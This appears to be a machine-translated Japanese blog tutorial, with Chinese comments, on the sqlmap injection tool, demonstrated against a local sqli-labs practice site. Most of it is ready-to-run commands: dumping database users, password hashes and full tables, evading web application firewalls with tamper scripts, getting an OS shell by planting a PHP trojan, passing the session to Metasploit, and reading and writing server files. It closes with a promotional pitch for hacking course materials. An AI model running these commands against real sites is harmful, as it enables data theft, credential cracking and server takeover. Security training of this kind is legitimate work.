【ツールの使い方】SqlMap
-
- SQLマップ
-
- 共通コマンド
- ターゲットWebサイトにインジェクションがあるかどうかを検出します
- データベースユーザーのクエリ
- データベースパスワードのクエリ
- データベースの現在のユーザーを照会します
- 現在のデータベース ユーザーが管理者権限を持っているかどうかを問い合わせます
- データベース管理者のユーザー名をリストします。
- すべてのデータベースにクエリを実行する
- 現在のデータベースにクエリを実行する
- 指定されたデータベース名の下にあるすべてのテーブルを出力します
- 指定されたテーブルの下のすべての列を指定されたデータ名で出力します
- 指定したデータベースの指定した列の指定したフィールドにあるすべてのデータを出力します
- -全シリーズ
- 高度な使用法
-
- WAFをバイパスする
- -レベル/-リスク
- 偽造されたHTTPリファラーヘッダー
- 指定されたSQL文を実行します
- OSシステムコマンドを実行する
- サーバーファイルの読み取り
- ファイルをデータベースサーバーにアップロードする
この記事では例を使用します: sqli-labs 射撃場
SQLマップ
自動 SQL インジェクション ツールの主な機能は、指定された URL 内の SQL インジェクションの脆弱性をスキャン、発見、悪用することです。現在サポートされているデータベースは、MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP です。マックスDB。次の 5 つの独自の SQL インジェクション手法が使用されます。
1. ブール値に基づくブラインド インジェクション、つまり、返されたページに基づいて条件が true か false かを判断できるインジェクション。
2. 時間ベースのブラインド注入、つまりページから返された内容に基づいて情報を判断することはできません。条件文を使用して、時間遅延ステートメントが実行されるかどうか (つまり、ページの戻り時間が増加するかどうか) を確認します。
3. エラー挿入に基づいて、ページはエラー情報を返すか、挿入されたステートメントの結果がページに直接返されます。
4. ユニオンクエリインジェクション、ユニオンの場合にインジェクションを使用できます。
5. ヒープクエリインジェクション。複数のステートメントのインジェクションを同時に実行できます。
共通コマンド
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*" #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump 当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump 当MySQL>= 5.7时
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user #查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs #爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables #爆出所有的数据表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --columns #爆出数据库中所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100 #爆出数据库security中的users表中的username列中的前100条数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell #执行指定的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn #执行--os-pwn命令,将目标权限弹到MSF上
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080" #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell #知道网站的账号密码直接连接
-v3 #输出详细度 最大值5 会显示请求包和回复包
--threads 5 #指定线程数
--fresh-queries #清除缓存
--flush-session #清空会话,重构注入
--batch #对所有的交互式的都是默认的
--random-agent #任意的http头
--tamper base64encode #对提交的数据进行base64编码
--referer http://www.baidu.com #伪造referer字段
--keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
ターゲットWebサイトにインジェクションがあるかどうかを検出します
1. ログイン不要サイト
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap が対話していることがわかります。ツールヒントに従って、さまざまなスキャン方法を選択する必要があります。
sqlmap は、ターゲット Web サイトに存在するインジェクションの種類、スクリプトの言語とバージョン、データベースの種類とバージョン、ミドルウェア、およびその他の関連情報を示します。
スキャンの終了時に、検出データの保存パスが通知されます。
2. ログインする必要があるサイト
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #探测该url是否存在漏洞
3. 投稿にデータの送信を要求する URL
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
データベースユーザーのクエリ
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users
データベースパスワードのクエリ
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords
パスワードを実行すると、sqlmap と私たちの間に 2 つの対話が行われます。1
つ目: ハッシュ値 Y/N を保存するかどうかを尋ねます。2 つ
目: ハッシュ値 Y/N/Q をブラストするかどうかを尋ねます。
3 番目: ユニバーサル パスワード サフィックスを使用するかどうかを尋ねます。はい/いいえ
データベースの現在のユーザーを照会します
sqlmap -u "http://127.0.0.1/sqli-lasb/Less-1/?id=1" --current-user #查看数据库当前的用户
現在のデータベース ユーザーが管理者権限を持っているかどうかを問い合わせます
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
データベース管理者のユーザー名をリストします。
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles
すべてのデータベースにクエリを実行する
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
現在のデータベースにクエリを実行する
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db
指定されたデータベース名の下にあるすべてのテーブルを出力します
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
指定されたテーブルの下のすべての列を指定されたデータ名で出力します
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
指定したデータベースの指定した列の指定したフィールドにあるすべてのデータを出力します
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C password --dump
-全シリーズ
1. データベース内のすべてのデータを出力します
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all
時間が長すぎます。スキャン プロセスのスクリーンショットを撮ります。
2. 指定したデータベース内のすべてのデータを出力します
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all
時間が長すぎます。スキャン プロセスのスクリーンショットを撮ります。
3. 指定したデータベースの指定したテーブル内のすべてのデータを出力します
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T user --dump-all
時間が長すぎます。スキャン プロセスのスクリーンショットを撮ります。
高度な使用法
WAFをバイパスする
原則: –tamper を使用してパラメーターを変更し、WAF をバイパスするだけです。公式に提供されているスクリプトのほとんどは、通常のモジュールを使用して攻撃ペイロードの文字エンコーディングを置き換え、WAF 検出ルールをバイパスします。
一般的に使用される指示:
--identify-waf 检测是否有WAF
#使用参数进行绕过
--random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
--flush-session 清空会话,重构注入
--hex 或者 --no-cast 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor 匿名注入
sqlmap には waf をバイパスするためのスクリプトが用意されており、 sqlmap フォルダーの tamper フォルダー内での
使用方法は次のとおりです。
使用方法--tamper xxx.py
apostrophemask.py用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
-レベル/-リスク
Sqlmap には合計 5 つの検出レベルがあり、デフォルトは 1 です。レベルが高くなるほど、検出中に使用されるペイロードが増えます。このうち、レベル 5 はペイロードが最も多く、Cookie や XFF などのヘッダーを自動的にクラックして挿入します。もちろん、レベルが高くなるほど、検出時間は遅くなります。このパラメータはテストの注入ポイントに影響します。GET および POST データがテストされます。レベルが 2 の場合、HTTP Cookie がテストされます。レベル 3 の場合、HTTP ユーザー エージェント/リファラー ヘッダーがテストされます。どのパラメータが注入ポイントであるかわからない場合は、精度を確保するためにレベル 5 に設定することをお勧めします。
Sqlmap には合計 3 つの危険レベルがあり、これは、この Web サイトにどのレベルの危険があると思われるかを意味します。検出レベルと同じ意味ですが、不確実な場合はレベル3、-risk=3に設定することを推奨します。
このツールはペイロード ディレクトリ
sqlmap\data\xml\payloads を使用します (Windows)
偽造されたHTTPリファラーヘッダー
sqlmap は、リクエストの http リクエスト ヘッダーのリファラーを偽造できます。 -level が 3 以上の場合、リファラー挿入が実行されます。例: Referer
http://www.topreverse.cn
指定されたSQL文を実行します
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell #执行指定的sql语句
OSシステムコマンドを実行する
データベースが mysql、postgresql、または SQL サーバーである場合にのみ実行できます。
データベースが mysql の場合、次の 3 つの条件を満たす必要があります。
1. root 権限
2. ターゲット サイトの絶対パスがすでにわかっている
3. secure_file_priv のパラメータ値が時空である (変更前は NULL)
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell #执行--os-shell命令
プロセス中に、sqlmap は 2 つのファイル、tmpblwkd.php (トロイの木馬ファイル) と tmpueqch.php を指定されたパスに渡します。受信ファイルを削除するには、終了時に q と x を入力します。
サーバーファイルの読み取り
前提条件: データベースは次のとおりです: mysql、postgresql、および SQL サーバー
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/topreverse.txt" #读取目标服务器C盘下的test.txt文件
ファイルをデータベースサーバーにアップロードする
前提条件: データベースは mysql、postgre sql、sql サーバーであること
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 --file-write C:\Users\system32\Desktop\text.php --file-dest "C:\phpStudy\PHPTutorial\WWW\test.php" #将本地的text.php文件上传到目标服务器test.php
sqlmap 自体がアップロードされた後、検証され、比較のためにファイル サイズが読み取られます。
上記は sqlmap についての私の共有の一部です。お役に立てば幸いです。最後に、ここにいる友人全員がネットワーク セキュリティ業界に興味を持っていると思います。現在、国はこの業界を精力的に支援しています。人材のギャップが大きいため、業界の参入段階にあるものの、どのようなコンテンツを習得する必要があるかまだ分からない初心者の場合、業界の兄貴分として、私はあなたのために完全な学習ルートも用意しました。 . このルートに従って、基礎から上級まで学習してください。
最後に、学習ルートに付随するビデオ教材もまとめました。
上記の情報を CSDN の公式 Web サイトにアップロードしました。必要な場合は、メッセージを残してください。それを見て返信します。返信が待ちきれない場合は、QR をスキャンすることもできます以下のコードを vx で入力してください (訪問の目的に注意してください~)。QR コードのスキャンで問題が発生した場合は、リンクをクリックして [282G] でネットワーク セキュリティの基礎から上級まで完全に学習することもできます。 &ハッキングテクノロジー、無料で共有できます!
以上がこの記事の全内容ですが、何か得るものがあれば幸いです!